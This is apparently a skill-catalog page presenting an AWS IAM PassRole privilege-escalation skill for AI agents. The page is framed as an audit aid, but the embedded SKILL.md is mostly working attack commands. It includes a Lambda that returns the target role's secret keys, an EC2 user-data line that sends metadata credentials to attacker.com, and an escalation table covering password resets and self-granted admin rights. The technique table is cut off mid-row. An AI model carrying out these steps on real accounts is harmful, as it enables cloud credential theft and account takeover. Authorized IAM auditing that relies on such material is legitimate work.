aws-iam-passrole-chain
What it does
This skill describes how PassRole permissions and role assumptions can lead to higher access in AWS. It is for cloud auditors and administrators who review IAM settings in accounts they manage.
When to use it
- βWhen an auditor asks the agent to find which users can pass a stronger role to services like Lambda or EC2.
- βWhen the agent checks role trust policies that allow assuming roles across accounts.
- βWhen a report must explain how a PassRole grant could allow access beyond what the user should have.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan any of our test users pass a powerful role to Lambda or EC2 in our authorized AWS account?β
5 new skills a week. 1 minute to read.
How it works
The agent reads the policies for PassRole permissions, lists the roles they can pass, and checks which services could then run with those roles.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
AWS IAM PassRole Chain
You have AWS credentials (env vars, ~/.aws/credentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.
Enumerate
aws sts get-caller-identity # who are you?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-user-policies --user-name <you>
aws iam get-account-summary
# Or for a role (e.g., EC2 instance):
aws sts get-caller-identity # check Arn = role
ROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2)
aws iam list-attached-role-policies --role-name $ROLE
aws iam list-role-policies --role-name $ROLE
Use Pacu β enum_permissions β for the canonical enumeration.
Phase 1: Identify your PassRole targets
# What roles can your principal PassRole?
# Check policy for iam:PassRole β note the Resource:
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/<your-policy> --version-id v1 \
| jq '.PolicyVersion.Document.Statement[] | select(.Action[]?=="iam:PassRole" or .Action=="iam:PassRole")'
# List all roles (need iam:ListRoles)
aws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text
Phase 2: PassRole β execute as higher-priv role
Lambda β most common path
# Create a Lambda that runs as TARGET_ROLE and returns its credentials
cat > pwn.py <<'EOF'
def lambda_handler(event, context):
import os
return {
"AKI": os.environ["AWS_ACCESS_KEY_ID"],
"SAK": os.environ["AWS_SECRET_ACCESS_KEY"],
"TOK": os.environ["AWS_SESSION_TOKEN"],
}
EOF
zip pwn.zip pwn.py
aws lambda create-function --function-name pwn --runtime python3.11 \
--role arn:aws:iam::ACCT:role/TARGET_ROLE --handler pwn.lambda_handler \
--zip-file fileb://pwn.zip
aws lambda invoke --function-name pwn /tmp/o.json && cat /tmp/o.json
# /tmp/o.json now contains TARGET_ROLE credentials
Glue Dev Endpoint
aws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# SSH into it; whoami is TARGET_ROLE
EC2 Instance Profile
aws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \
--iam-instance-profile Name=TARGET_PROFILE --user-data "$(printf '#!/bin/bash\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/TARGET_ROLE > /tmp/c.json && curl -X POST -d @/tmp/c.json https://attacker.com/x')"
SageMaker Notebook
aws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \
--role-arn arn:aws:iam::ACCT:role/TARGET_ROLE
# Then open the notebook URL; in a cell: !aws sts get-caller-identity
Phase 3: AssumeRole chains across accounts
# If you have sts:AssumeRole on a cross-account role:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/CROSSACCT_ROLE --role-session-name pwn
# Use the returned Credentials for the next hop.
# Chain depth β repeat assume-role with each new principal.
Phase 4: Privilege escalation classes (Pacu β iam__privesc_scan)
| Method | Required permission |
|---|---|
CreateNewPolicyVersion |
iam:CreatePolicyVersion on a policy attached to a higher-priv user |
SetExistingDefaultPolicyVersion |
iam:SetDefaultPolicyVersion |
CreateAccessKey |
iam:CreateAccessKey on a higher-priv user |
CreateLoginProfile |
iam:CreateLoginProfile β log in as the target user via console |
UpdateLoginProfile |
iam:UpdateLoginProfile β reset the target user's console password |
AttachUserPolicy |
iam:AttachUserPolicy β attach AdministratorAccess to yourself |
AttachGroupPolicy |
iam:AttachGroupPolicy |
AttachRolePolicy |
iam:AttachRolePolicy |
PutUserPolicy |
iam:PutUserPolicy β inline policy bypass |
AddUserToGroup |
iam:AddUserToGroup β add yourself to admins |
UpdateAssumeRolePolicy |
iam:UpdateAssumeRolePolicy β make a role assumable by you |
PassExistingRoleToNewLambda |
iam:PassRole + lambda:CreateFunction/InvokeFunction |
PassExistingRoleToNewGlueDevEndpoint |
as above for Glue |
EditExistingLambdaFunctionWithRole |
lambda:UpdateFunctionCode on an existing Lambda |
PassExistingRoleToNewCloudFormation |
iam:PassRole + cloudformation:CreateStack |
| `PassExistingRoleToNewDataP |
FAQ
What is iam:PassRole?
It is a permission that lets a user give a role to an AWS service, so the service can act with that role's access.
Why is it a risk?
The skill says a user who can pass a strong role to a service may gain that role's access indirectly.
Is the skill only about offense?
It is written for authorized review, and its main use is finding and removing broad grants.
Details
Original description by the author
AWS IAM privilege escalation via `iam:PassRole` chains β Lambda/Glue/Sagemaker/EC2/ECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13985
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.